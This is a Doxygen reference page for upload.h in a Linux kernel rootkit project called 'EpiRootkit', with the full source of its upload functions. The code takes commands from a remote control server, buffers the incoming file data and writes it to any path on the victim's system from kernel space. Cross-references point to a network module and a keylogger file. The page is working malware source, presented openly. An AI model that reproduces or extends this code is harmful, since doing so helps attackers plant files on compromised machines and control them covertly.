EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
upload.h File Reference
#include <linux/fs.h>
#include <linux/kthread.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/types.h>
#include <linux/uaccess.h>
#include "config.h"
Include dependency graph for upload.h:
This graph shows which files directly or indirectly include this file:

Go to the source code of this file.

Functions

int handle_upload_chunk (const char *data, size_t len, enum Protocol protocol)
 
int start_upload (const char *path, long size)
 
int upload_handler (char *args, enum Protocol protocol)
 

Variables

bool receiving_file
 
char * upload_buffer
 
char * upload_path
 
long upload_size
 
long upload_received
 

Function Documentation

◆ handle_upload_chunk()

int handle_upload_chunk ( const char *  data,
size_t  len,
enum Protocol  protocol 
)

Definition at line 16 of file upload.c.

16 {
17 size_t to_copy;
18 size_t i;
19
20 DBG_MSG("CHUNK SIZE : %zu\n", len);
21
23 ERR_MSG("handle_upload_chunk: not receiving file, aborting chunk\n");
24 return -EINVAL;
25 }
26
27 if (upload_received + len > upload_size)
28 to_copy = upload_size - upload_received;
29 else
30 to_copy = len;
31
32 for (i = 0; i < to_copy; i++) {
33 upload_buffer[upload_received + i] = data[i];
34 }
35 upload_received += to_copy;
36
37 DBG_MSG("handle_upload_chunk: received %zu bytes (%ld/%ld)\n", to_copy,
39
41 DBG_MSG("handle_upload_chunk: full upload received, writing to file\n");
42
43 struct file *filp =
44 filp_open(upload_path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
45 if (IS_ERR(filp)) {
46 ERR_MSG("handle_upload_chunk: failed to open %s\n", upload_path);
47 send_to_server(protocol, "Failed to open file.\n");
48 }
49 else {
50 ssize_t written =
51 kernel_write(filp, upload_buffer, upload_size, &filp->f_pos);
52 if (written != upload_size) {
53 ERR_MSG("handle_upload_chunk: partial write (%zd/%ld)\n", written,
55 send_to_server(protocol, "Partial or failed file write.\n");
56 }
57 else {
58 DBG_MSG("handle_upload_chunk: wrote %ld bytes to %s\n", upload_size,
60 send_to_server(protocol, "File written successfully.\n");
61 }
62 filp_close(filp, NULL);
63 }
64
65 vfree(upload_buffer);
66 kfree(upload_path);
67 upload_buffer = NULL;
68 upload_path = NULL;
69 receiving_file = false;
70 }
71
72 return 0;
73}
#define ERR_MSG(fmt, args...)
Definition config.h:16
#define DBG_MSG(fmt, args...)
Definition config.h:15
static struct dentry * file
Definition epikeylog.c:145
int send_to_server(enum Protocol protocol, char *message,...)
Definition network.c:67
bool receiving_file
Definition upload.c:10
long upload_received
Definition upload.c:14
char * upload_buffer
Definition upload.c:11
long upload_size
Definition upload.c:13
char * upload_path
Definition upload.c:12

◆ start_upload()

int start_upload ( const char *  path,
long  size 
)

Definition at line 75 of file upload.c.

75 {
76 DBG_MSG("start_upload: path=%s, size=%ld\n", path, size);
77
79 return -EBUSY;
80
81 upload_path = kstrdup(path, GFP_KERNEL);
82 if (!upload_path)
83 return -ENOMEM;
84
85 upload_path[strcspn(upload_path, "\n")] = '\0';
86
87 upload_buffer = vmalloc(size);
88 if (!upload_buffer) {
89 kfree(upload_path);
90 return -ENOMEM;
91 }
92
93 upload_size = size;
95 receiving_file = true;
96
97 DBG_MSG("start_upload: setup complete\n");
98 return 0;
99}

◆ upload_handler()

int upload_handler ( char *  args,
enum Protocol  protocol 
)

Definition at line 101 of file upload.c.

101 {
102 if (protocol != TCP) {
103 DBG_MSG("warning: upload will be over TCP.\n");
104 }
105
106 if (!args) {
107 send_to_server(protocol, "Usage: upload <remote_path> <size>\n");
108 return -EINVAL;
109 }
110
111 char *path_str = strsep(&args, " ");
112 char *size_str = args;
113
114 if (!path_str || !size_str) {
115 send_to_server(protocol, "Usage: upload <remote_path> <size>\n");
116 return -EINVAL;
117 }
118
119 long size;
120 if (kstrtol(size_str, 10, &size) < 0 || size <= 0) {
121 send_to_server(protocol, "Invalid file size.\n");
122 return -EINVAL;
123 }
124
125 int ret = start_upload(path_str, size);
126 if (ret < 0) {
127 send_to_server(protocol, "Failed to initiate upload.\n");
128 return ret;
129 }
130
131 send_to_server(protocol, "READY");
132 return 0;
133}
@ TCP
Definition config.h:29
int start_upload(const char *path, long size)
Definition upload.c:75

Variable Documentation

◆ receiving_file

bool receiving_file
extern

Definition at line 10 of file upload.c.

◆ upload_buffer

char* upload_buffer
extern

Definition at line 11 of file upload.c.

◆ upload_path

char* upload_path
extern

Definition at line 12 of file upload.c.

◆ upload_received

long upload_received
extern

Definition at line 14 of file upload.c.

◆ upload_size

long upload_size
extern

Definition at line 13 of file upload.c.